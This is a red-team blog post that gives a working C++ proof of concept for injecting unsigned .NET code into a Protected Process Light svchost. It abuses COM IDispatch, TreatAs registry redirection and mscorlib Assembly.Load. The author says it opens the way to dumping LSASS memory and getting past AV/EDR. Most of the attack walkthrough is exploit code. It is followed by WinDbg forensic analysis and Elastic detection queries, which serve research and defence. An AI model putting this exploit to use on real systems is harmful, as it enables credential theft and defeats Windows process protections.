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Abusing IDispatch for Trapped COM Object Access & Injecting into
PPL Processes

Introduction

In this post, I explore an interesting bug class identified by James Forshaw  from Google Project Zero that relates
to the IDispatch interface in COM servers. His research highlights a vulnerability in how certain COM servers,
particularly those implementing the IDispatch interface, allow the creation of arbitrary objects within the process.
Notably, every Object-Oriented Programming (OOP) COM server implementing IDispatch exposes the ability to
create objects like STDFONT, which was never intended to be used safely across process boundaries. This opens
the door to potential exploitation, especially when interacting with cross-process COM remoting.

Forshaw’s work demonstrated the security risks in these implementations but did not provide a complete Proof of
Concept (PoC). Drawing inspiration from his research and driven by my passion for COM object exploitation, I
decided to take on the challenge and develop a functional PoC in C++. This blog expands on Forshaw’s findings,
providing a working PoC that shows how the misuse of this COM feature can be leveraged to inject unsigned code
into a Protected Process Light (PPL) process with the protectionPsProtectedSignerWindows-Light.

This PoC demonstrates how the technique can bypass Protected Process Light (PPL) protection, highlighting the
significant real-world implications of this vulnerability. It provides a powerful means of accessing critical protected
processes, such as LSASS withLSA protection or a protected AV/EDR.

Bridging Native Code and .NET for PPL bypass

https://mohamed-fakroud.gitbook.io/red-teamings-dojo/abusing-idispatch-for-trapped-com-object-access-and-injecting-into-ppl-processes
https://infosec.exchange/@tiraniddo


2/16

This section dissects the core mechanism of our exploit: leveraging C++/mscorlib interoperability to hijack COM
activation and force the execution of arbitrary .NET code under the guise of trusted process.

At its core, this exploit leverages the Windows Update Medic Service’s WaaSRemediationAgent COM server, — a
privileged component running as svchost.exe within a PPL process protected by PsProtectedSignerWindows-Light
— to load and execute am unsigned .NET payload.

By manipulating registry keys to enable DCOM reflection and redirect COM activation, we trick the system into
treating a legacy COM class (StdFont) as a .NET System.Object, effectively bridging the native and managed
worlds.

By using mscorlib (the .NET runtime library) to reflectively load and execute an in-memory .NET assembly
while masquerading as a benign COM operation. This bypasses PPL restrictions because the CLR (Common
Language Runtime), once activated within a privileged process, inherently trusts code loaded via mscorlib's reflection
APIs.

In the following breakdown, we’ll explore:

1. COM-to-.NET Redirection: How registry manipulation forces COM to activate .NET objects.

2. mscorlib as a Bridge: Using `System.Object` and System.Reflection to load malicious assemblies.

3. In-Memory Execution: Avoiding disk writes by directly invoking .NET methods from C++.

4. PPL Bypass: Why the CLR’s trust in mscorlib allows unverified code to run in protected processes.

Registry Manipulation: Creating the COM-to-.NET Redirection

Enabling DCOM Reflection

The registry key DCOM Reflection is enabled to allow COM objects to reflectively call into the managed code. This
step allows COM to be aware of the .NET objects that exist and interact with them.

// Code snippet


bool RegistryUtils::SetDcomReflectionEnabled(bool enable) {


    HKEY hKey;


    LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";


    LPCWSTR valueName = L"AllowDCOMReflection";
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    LONG result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, nullptr,


        REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);


    if (result != ERROR_SUCCESS) return false;


    DWORD data = enable ? 1 : 0;


    result = RegSetValueEx(hKey, valueName, 0, REG_DWORD,


        reinterpret_cast<const BYTE*>(&data), sizeof(data));


    RegCloseKey(hKey);


    return result == ERROR_SUCCESS;


}

By enabling this, you configure COM to be able to dynamically locate and invoke managed code through reflection.

Enabling OnlyUseLatestCLR

The registry key onlyUseLatestCLR is set, ensuring that the latest version of the .NET runtime (CLR) is used for
managed code execution. This step was particularly important during the testing phase, as issues were encountered
when trying to run the code with .NET v4. Initially, the exploit relied on .NET v2, which was still present on the
system, but .NET v4 introduced some compatibility challenges.

As James Forshaw pointed out in his blog, .NET COM objects default to running under v2 of the framework.
However, starting with Windows 10, .NET v2 is not installed by default, which caused issues for running the exploit in
a modern environment. To avoid these issues, Forshaw installed .NET v2 manually via the Windows Components
Installer. For testing with .NET v4, however, setting the registry key to OnlyUseLatestCLR ensured that the system
would always use the latest CLR (v4), avoiding the need to manually install an older version of .NET.

// Code snippet


bool RegistryUtils::SetOnlyUseLatestCLR(bool enable) {


    HKEY hKey;


    LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";


    LPCWSTR valueName = L"OnlyUseLatestCLR";


    LONG result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, nullptr,


        REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);


    if (result != ERROR_SUCCESS) return false;


    DWORD data = enable ? 1 : 0;


    result = RegSetValueEx(hKey, valueName, 0, REG_DWORD,


        reinterpret_cast<const BYTE*>(&data), sizeof(data));


    RegCloseKey(hKey);


    return result == ERROR_SUCCESS;


}

TreatAs Registry Redirection:

The TreatAs registry key is used to redirect a legacy COM class (e.g., StdFont) to a .NET object (System.Object).
This manipulation makes the system treat a traditional COM object as a .NET object, allowing the .NET object to be
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invoked within the context of COM.However, before the registry changes can take effect, it’s necessary to
impersonate TrustedInstaller to be able to set specifically TreatAs key

// Code snippet


bool RegistryUtils::SetTreatAs(const CLSID& originalClsid, const CLSID& newClsid) {


    WCHAR originalClsidStr[40], newClsidStr[40];


    StringFromGUID2(originalClsid, originalClsidStr, 40);


    StringFromGUID2(newClsid, newClsidStr, 40);


    std::wstring keyPath = std::wstring(L"CLSID\\") + originalClsidStr + 

L"\\TreatAs";


    HKEY hKey;


    LONG result = RegCreateKeyEx(HKEY_CLASSES_ROOT, keyPath.c_str(), 0, nullptr,


        REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);


    if (result != ERROR_SUCCESS) return false;


    // Explicit cast to DWORD


    DWORD dataSize = static_cast<DWORD>((wcslen(newClsidStr) + 1) * sizeof(WCHAR));


    result = RegSetValueEx(hKey, nullptr, 0, REG_SZ,


        reinterpret_cast<const BYTE*>(newClsidStr), dataSize);


    RegCloseKey(hKey);


    return result == ERROR_SUCCESS;


}

With these registry manipulations, COM calls are redirected to .NET objects, bridging the gap between the native
COM environment and the managed .NET environment.

mscorlib as a Bridge

After registry manipulation, the exploit proceeds by activating the COM object WaaSRemediationAgent and using
reflection to invoke methods within the .NET runtime. This transition from COM to .NET is at the heart of this exploit.

COM Object Activation

The CoCreateInstance function is called to create the WaaSRemediationAgent COM object. Thanks to the
registry manipulation, this COM activation leads to the creation of a .NET object instead.

// Code snippet


HRESULT hr = CoCreateInstance(CLSID_WaaSRemediationAgent, nullptr, 

CLSCTX_LOCAL_SERVER, IID_IDispatch, reinterpret_cast<void**>(&pWaasAgent));


In my PoC exploit, the core method of injecting a .NET payload into a PPL-protected process (like svchost.exe
running the WaaSRemediationAgent) hinges on the IDispatch interface exposed by the COM class. This interface,
part of COM Automation, enables dynamic method invocation on COM objects. By leveraging IDispatch, the attack is



5/16

able to bridge the gap between the native COM world and the managed .NET world, allowing me to inject .NET code
into a process with PsProtectedSignerWindows-Light protection, such as WaaSRemediationAgent.

When I trigger the activation of the WaaSRemediationAgent COM class, the IDispatch interface is automatically
exposed, allowing me to invoke .NET methods dynamically.

Obtaining ITypeInfo for WaaSRemediationAgent

The ITypeInfo interface is used to retrieve type information for the COM object. This metadata is needed to use
reflection to invoke .NET methods.

// Code snippet


ITypeInfo* pAgentTypeInfo = nullptr;


hr = pWaasAgent->GetTypeInfo(0, LOCALE_USER_DEFAULT, &pAgentTypeInfo);

Why 0?: The first parameter (0) specifies the interface index. Index 0 typically refers to the default interface
(IDispatch).

Navigating to Base Interface

Gets a reference (HREFTYPE) to the first implemented interface (index 0).

// Code snippet


HREFTYPE href = 0;


hr = pAgentTypeInfo->GetRefTypeOfImplType(0, &href);
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Many COM objects implement IDispatch as their base interface, which we'll exploit later.

Resolving Base Interface Type Info

// Code snippet


ITypeInfo* pBaseTypeInfo = nullptr;


hr = pAgentTypeInfo->GetRefTypeInfo(href, &pBaseTypeInfo);

Converts the HREFTYPE reference into a usable ITypeInfo pointer. This pBaseTypeInfo now describes the base
interface (e.g., IDispatch) of WaaSRemediationAgent.

Locating the Containing Type Library

Finds which type library ("DLL for COM metadata") contains the base interface.

// Some code


COMPtr<ITypeLib> pStdoleTypeLib;


hr = pBaseTypeInfo->GetContainingTypeLib(&pStdoleTypeLib, &indexInTypeLib);

pStdoleTypeLib will typically point to stdole32.tlb, the system type library containing standard COM definitions like
StdFont.

Targeting StdFont via GUID

Retrieve type information for CLSID_StdFont (normally a legacy font COM class).

// Some code


COMPtr<ITypeInfo> pStdFontTypeInfo;


hr = pStdoleTypeLib->GetTypeInfoOfGuid(CLSID_StdFont, &pStdFontTypeInfo);

Earlier registry modifications via SetTreatAs redirect this CLSID to a .NET class (CLSID_DotNetObject).

COM-to-.NET Object Activation

CreateInstance activates a .NET System.Object instance through COM, despite targeting CLSID_StdFont. This
works due to the TreatAs registry redirection to CLSID_DotNetObject.

// Some code


mscorlib::_ObjectPtr pStdFontObj;


hr = pStdFontTypeInfo->CreateInstance(


    nullptr,


    __uuidof(mscorlib::_Object), // Request .NET Object interface


    reinterpret_cast<void**>(&pStdFontObj)


);
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mscorlib::_TypePtr pType = pStdFontObj->GetType();


pType = pType->BaseType; // Traverse inheritance hierarchy

The __uuidof(mscorlib::_Object) GUID maps to System.Object in .NET, allowing direct interaction with managed
objects.

The _TypePtr interface (from System.Type) enables introspection of .NET types. The code navigates to System.Type
itself to prepare for assembly loading.

At this stage, CreateInstance method to dynamically create a .NET object. The key part here is the interaction with
mscorlib, which is the core .NET assembly. Specifically, you're creating an object corresponding to System.Type,
which is the foundation for Reflection in .NET.

By creating this object, I am setting up the environment to load and execute .NET code from memory, rather than
from a file on disk.

Loading .NET Assemblies In-Memory

The real payload is loaded from a file into memory using reflection. Here's how the assembly is read from the disk
and converted into a byte array, which can then be dynamically loaded:

// Some code


std::ifstream file(dllPath, std::ios::binary);


std::vector<uint8_t> buffer((std::istreambuf_iterator<char>(file)), 

std::istreambuf_iterator<char>());

The assembly is converted into a byte array (variant_t), which is then passed to
System.Reflection.Assembly.Load. This function allows you to dynamically load the .NET assembly from the
byte array, which is an effective way to load unsigned code without touching the disk.

// Some code


variant_t byteArrayVariant;


byteArrayVariant.vt = VT_ARRAY | VT_UI1;


SAFEARRAY* psa = SafeArrayCreateVector(VT_UI1, 0, buffer.size());


void* pvData;


SafeArrayAccessData(psa, &pvData);


memcpy(pvData, buffer.data(), buffer.size());


SafeArrayUnaccessData(psa);


byteArrayVariant.parray = psa;

Reflection Workflow

mscorlib::_MethodInfoPtr loadMethod = 


    DotNetInterop::GetStaticMethod(pType, L"Load", 1);


mscorlib::_AssemblyPtr assembly = 


    DotNetInterop::ExecuteMethod<mscorlib::_AssemblyPtr>(loadMethod, args);

GetStaticMethod: Retrieves Assembly.Load via reflection using its name and parameter count.
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ExecuteMethod: Invokes Load with the byte array, loading the .NET assembly into the process.

While executing the exploit and using the System.Reflection.Assembly.LoadFile instead of
System.Reflection.Assembly.Load method to load the .NET assembly into memory, I encountered the following
error:

_com_error::ErrorMessage returned 0x00000235b759bdc0 L"Unknown error 0x80131604"

This corresponds to the HRESULT error code 0x80131604, which indicates that an uncaught exception was thrown
during the method invocation via Reflection. This error can be interpreted as a failure in executing the .NET method
through Reflection.

Executing the Malicious Code

Once the assembly is loaded into memory, the final step is to execute the payload. Your exploit looks for the Main
method in the injected assembly and invokes it via reflection:

// Some code


mscorlib::_MethodInfoPtr mainMethod = DotNetInterop::GetStaticMethod(payloadType, 

L"Main", 0);


DotNetInterop::ExecuteMethod<mscorlib::_ObjectPtr>(mainMethod, mainArgs);


At this point in the exploit, the malicious .NET payload is executed within the context of the svchost process. Since
svchost runs with the PsProtectedSignerWindows-Light protection, this step grants the malicious code elevated
access within the Windows environment. Specifically, it allows the code to interact with protected processes under the
Windows signer type, which are typically off-limits for unprivileged or unsigned code.

By successfully injecting unsigned .NET code into a Protected Process Light (PPL) with a Windows signer, we
effectively gain the ability to access highly secured processes, such as LSASS, or even bypass protections
implemented by AV/EDR systems.

PPL Bypass

In the exploit's scenario, the svchost process runs with the Windows signer type (0x51), and the LSASS process,
which is a critical security process, runs with the Lsa signer type (0x41). Despite LSASS having a higher protection
level, the Windows signer type still has sufficient permissions to access the LSASS process because Windows is a
higher-level signer than Lsa.
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Now, we can proceed to dump the memory of the LSASS process using the elevated privileges granted by the
svchost exploit. This can be done by accessing the LSASS process' memory region and reading or dumping its
content:

The PoC exploit expects two arguments:

DLL Path (): This should be the full file path to a .NET DLL that you want to load.

Static Class Name (): This is the name of a static class within the DLL that contains a public static void Main()
method.
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Additionally, according to a blog by Elastic Security Labs , Microsoft defends Protected Process Light (PPL) by
enforcing SEC_IMAGE checks when creating image sections. This ensures that the digital signature of any file used to
create an image section is validated, and only signed code can be loaded into PPL processes. However, .NET
Reflection, which allocates assemblies into memory directly, bypasses this mechanism because it doesn't create an
image section or require file-backed validation. This is why Reflection-based loading can bypass SEC_IMAGE
integrity checks and potentially load malicious code into a PPL process without triggering these defences.

Finally, the bypass occurs because .NET Reflection (specifically via Assembly.Load(byte[])) does not create an
image section. Instead, it directly allocates memory for the assembly , bypassing the SEC_IMAGE integrity checks.
These checks are typically enforced when an image section is created, as they validate the digital signature of the file
backing the section (via NtCreateSection with SEC_IMAGE). Since the assembly is loaded directly into memory
rather than being backed by a file, there is no file-backed section to validate, allowing the payload to bypass the code
integrity checks enforced by SEC_IMAGE for PPL processes.

Light Memory Analysis: A Deep Dive

In this analysis, we walk through how to detect, trace, and analyse a malicious assembly loaded into a .NET process,
using various Windows debugging tools like WinDbg and CLR Debugging Extensions. The following steps highlight
how we can identify suspicious activity, locate that .NET unsigned code in memory, and investigate the underlying
behaviour.

Dump the Entire AppDomain

!dumpdomain command shows several AppDomains that are currently loaded on the PPL svchost process.

0:008> !dumpdomain


--------------------------------------


System Domain:      00007ff86dd55250


LowFrequencyHeap:   00007ff86dd557c8


HighFrequencyHeap:  00007ff86dd55858


StubHeap:           00007ff86dd558e8


Stage:              OPEN


Name:               None


--------------------------------------


Shared Domain:      00007ff86dd54c80


LowFrequencyHeap:   00007ff86dd557c8


HighFrequencyHeap:  00007ff86dd55858


StubHeap:           00007ff86dd558e8


Stage:              OPEN


Name:               None


Assembly:           000001d900c177c0 

[C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dl

ClassLoader:        000001d900c1f380


  Module Name


00007ff868c21000            

C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll

https://www.elastic.co/security-labs/inside-microsofts-plan-to-kill-pplfault#loading-code-into-ppl-processes
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--------------------------------------


Domain 1:           000001d900c57010


LowFrequencyHeap:   000001d900c57808


HighFrequencyHeap:  000001d900c57898


StubHeap:           000001d900c57928


Stage:              OPEN


SecurityDescriptor: 000001d900ca29f0


Name:               DefaultDomain


Assembly:           000001d900c177c0 

[C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dl

ClassLoader:        000001d900c1f380


SecurityDescriptor: 000001d900c1d150


  Module Name


00007ff868c21000            

C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.dll

Assembly:           000001d900c18580 [debug, Version=0.0.0.0, Culture=neutral, 

PublicKeyToken=null]


ClassLoader:        000001d901bdb600


SecurityDescriptor: 000001d901be6470


  Module Name


00007ff80dce4ad8            debug, Version=0.0.0.0, Culture=neutral, 

PublicKeyToken=null  debug

DefaultDomain:

The DefaultDomain (address: 000001d900c57010) is where user-code and potentially the .NET unsigned code is
loaded. In this domain, besides the standard mscorlib.dll assembly, there is also our targeted:

assembly: Assembly: debug, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null

Module Name: debug (loaded at 00007ff80dce4ad8).

This assembly is unusual, with its 0.0.0.0 version and no public key token, which is a red flag for malware or
injected code.

Debug Log

The .NET unsigned code was identified through the System.Reflection.Assembly.Load method, which is
commonly used to load assemblies from byte arrays. Here's part of the debug stack trace showing the reflection-
based loading:

0:008> !clrstack


OS Thread Id: 0x1d18 OS Thread Id: 0x1d18 (8)


(8)

        Child SP        Child SP                IP              IP  Call SiteCall 

Site
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000000669647dc30 00007ffa975b6baf  System.Reflection.Assembly.Load(Byte[]) 

System.Reflection.Assembly.Load(Byte[])


000000669647de90 00007ffa98051673  [DebuggerU2MCatchHandlerFrame: 000000669647de90]


000000669647e108 00007ffa98051673  [HelperMethodFrame_PROTECTOBJ: 000000669647e108] 

System.RuntimeMethodHandle.InvokeMethod(System.Object, System.Object[], 

System.Signature, Boolean)


000000669647e280 00007ffa96e2ef68  

System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(System.Object, 

System.Object[], System.Object[])


000000669647e2e0 00007ffa96e0aa16  

System.Reflection.RuntimeMethodInfo.Invoke(System.Object, 

System.Reflection.BindingFlags, System.Reflection.Binder, System.Object[], 

System.Globalization.CultureInfo)

From this stack trace, we can see that the System.Reflection.Assembly.Load function is being invoked, which
is a common technique for dynamically loading assemblies from raw byte arrays.

Memory Analysis

By examining the memory regions where the malicious assembly is loaded, we can see that:

The memory region has the PAGE_READWRITE protection, meaning it is writable, which is suspicious for
code sections.

The size of the memory region (136 KB) aligns with the size of a small executable or DLL.

This type of memory allocation is common in fileless attacks, where malicious code does not touch the disk but
instead resides entirely in memory.

The MZ header found within the memory indicates that it is a PE file that may contain executable instructions. The
presence of this PE header further indicates that an executable payload is active in memory.

The memory region details of the loaded malicious assembly are:

0:008> !address 0x00000214bec14020


Usage:                  <unknown>


Base Address:           00000214`bec00000


End Address:            00000214`bec22000


Region Size:            00000000`00022000 ( 136.000 kB)


State:                  00001000          MEM_COMMIT


Protect:                00000004          PAGE_READWRITE


Type:                   00020000          MEM_PRIVATE


Allocation Base:        00000214`bec00000


Allocation Protect:     00000004          PAGE_READWRITE


The Base Address is 0x00000214bec00000, and the region size is 136 KB, indicating that a PE file is located in this
memory region.

The presence of PAGE_READWRITE protection indicates that the memory is writable, which is a typical sign of
malicious code being injected or loaded into memory.
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Investigating the Malicious Assembly

Here is part of the debug log showing the object dump for the byte array:

0:008> !DumpObj /d 00000214bec14020


Name:        System.Byte[]


MethodTable: 00007ffa96905848


Size:        10264(0x2818) bytes


Array:       Rank 1, Number of elements 10240, Type Byte


Content:     

MZ......................@...............................................!..L.!This 

program cannot be run in DOS 

mode....$.......MZ......................@...............................................!..L

 program cannot be run in DOS mode....$.......

As observed, the byte array contains an MZ header, which is a signature for PE files (commonly used in DLL or EXE
files). This confirms that the loaded assembly is an executable.

In order to observe the CLR stack trace during the execution of the injected .NET code, I used the sxe ld clrjit
debugger command to enable debugging of the Just-In-Time (JIT) compiler. This command is used within the
Windows debugger (WinDbg) to set a breakpoint that triggers whenever the clrjit module (which is responsible for JIT
compiling .NET code) is loaded.

0:005> !clrstack


OS Thread Id: 0x23f0 (5)


        Child SP               IP Call Site


0000005faa9fc590 00007ffaea4908c4 [PrestubMethodFrame: 0000005faa9fc590] 

InjectedPayload..cctor()


0000005faa9fcb98 00007ffaea4908c4 [GCFrame: 0000005faa9fcb98] 


0000005faa9fd720 00007ffaea4908c4 [PrestubMethodFrame: 0000005faa9fd720] 

InjectedPayload.Main()


0000005faa9fdaf0 00007ffaea4908c4 [DebuggerU2MCatchHandlerFrame: 0000005faa9fdaf0] 


0000005faa9fdd68 00007ffaea4908c4 [HelperMethodFrame_PROTECTOBJ: 0000005faa9fdd68] 

System.RuntimeMethodHandle.InvokeMethod(System.Object, System.Object[], 

System.Signature, Boolean)


0000005faa9fdee0 00007ffa96e2ef06 

System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(System.Object, 

System.Object[], System.Object[])


0000005faa9fdf40 00007ffa96e0aa16 

System.Reflection.RuntimeMethodInfo.Invoke(System.Object, 

System.Reflection.BindingFlags, System.Reflection.Binder, System.Object[], 

System.Globalization.CultureInfo)


0000005faa9fdfc0 00007ffa96e2aee2 System.Reflection.MethodBase.Invoke(System.Object, 

System.Object[])


0000005faa9fe000 00007ffa97568d8e 

DomainNeutralILStubClass.IL_STUB_COMtoCLR(System.StubHelpers.NativeVariant, IntPtr, 

IntPtr)

0000005faa9fe1f0 00007ffa98051859 [ComMethodFrame: 0000005faa9fe1f0]

This shows the invocation of the Main method in your injected payload. The PrestubMethodFrame shows that
the CLR is preparing to invoke this method. This is the entry point of the injected .NET payload that will execute
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the malicious actions.

Reflection Invocations: A series of reflections (Invoke, UnsafeInvokeInternal, etc.) dynamically invoke
methods, which could include COM-to-.NET redirection and other injected operations.

COM to CLR Invocation:

0000005faa9fe000 00007ffa97568d8e 

DomainNeutralILStubClass.IL_STUB_COMtoCLR(System.StubHelpers.NativeVariant, IntPtr, 

IntPtr)

This represents a COM to CLR stub method. The IL_STUB_COMtoCLR method is used when you call a COM
method that internally invokes .NET code. It acts as a bridge between COM and .NET, ensuring that the parameters
are passed correctly between the two environments.

NativeVariant: This refers to the data structure used for handling COM data types (such as VARIANT) in a way
that can be understood by both COM and .NET. IntPtr: These are pointers used to pass memory addresses or
references, likely pointing to COM objects or .NET objects.

This log shows how your injected payload interacts with COM objects and .NET reflection mechanisms.

This stack trace highlights how the exploit leverages reflection, COM redirection, and the CLR to execute code,
potentially interacting with protected processes like LSASS or other system-level components.

By carefully analysing the stack traces, memory regions, and loaded assemblies in a WinDbg debugging session, we
were able to trace the malicious assembly's behaviour and detect a potential fileless attack. This approach provides
insight into how advanced attackers use reflection to execute payloads directly in memory.

Detection

The technique leverages COM-to-.NET redirection to execute malicious .NET assemblies inside protected processes
(PPL), such as svchost.exe running WaaSMedicSvc. This technique bypasses code integrity checks, making it a
stealthy way to execute unsigned payloads.

Key Indicators of Compromise (IOCs)

To detect this exploit, we can monitor for the following:

Registry modifications enabling COM redirection.

Detection Queries

1. Registry Modification Detection

Detects changes to the registry key that facilitates the COM redirection:
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registry where event.type == "change" and 


registry.path : "HKLM\\SOFTWARE\\Classes\\CLSID\\{0BE35203-8F91-11CE-9DE3-

00AA004BB851}\\TreatAs\\" and 


registry.data.strings : "{81C5FE01-027C-3E1C-98D5-DA9C9862AA21}"

2. NET Execution in a Protected Process

Detects WaaSMedicSvc loading clr.dll, indicating .NET execution inside a protected process:

sequence by process.entity_id


 [process where event.action == "start" and process.name == "svchost.exe" and 

process.args == "WaaSMedicSvc"]


 [library where dll.name == "clr.dll"]

Thanks to Samir aka (SBousseaden ), who tested the tool and provided the Elastic queries and screenshots.

Conclusion

In this Proof-of-Concept (PoC), I demonstrated how code can be injected into a Protected Process Light (PPL),
utilizing reflection-based techniques and COM-to-.NET redirection to bypass signature checks and security measures
typically enforced in Windows processes with PsProtectedSignerWindows-Light protection. The detailed

https://x.com/SBousseaden


16/16

memory analysis, from CLR stack tracing to dissecting process behavior, provided valuable insights into how we can
manipulate registry keys and leverage memory allocation techniques to sidestep the inherent protections.

A special mention must be made of James Forshaw , whose in-depth research and expertise in Windows internals
have been invaluable in helping me navigate and understand the intricacies of this exploit. His work continues to be a
source of learning and inspiration. Much of the techniques explored in this PoC are built upon principles found in his
publications and blog posts.

The full C++ PoC code will be made available on my GitHub repository for those who wish to explore, learn, or further
develop upon this concept.

Feel free to dive into the repository for a deeper look into how this exploit was constructed and the techniques that
were applied. Your feedback and contributions are always welcome as we continue to explore and secure these
complex systems.
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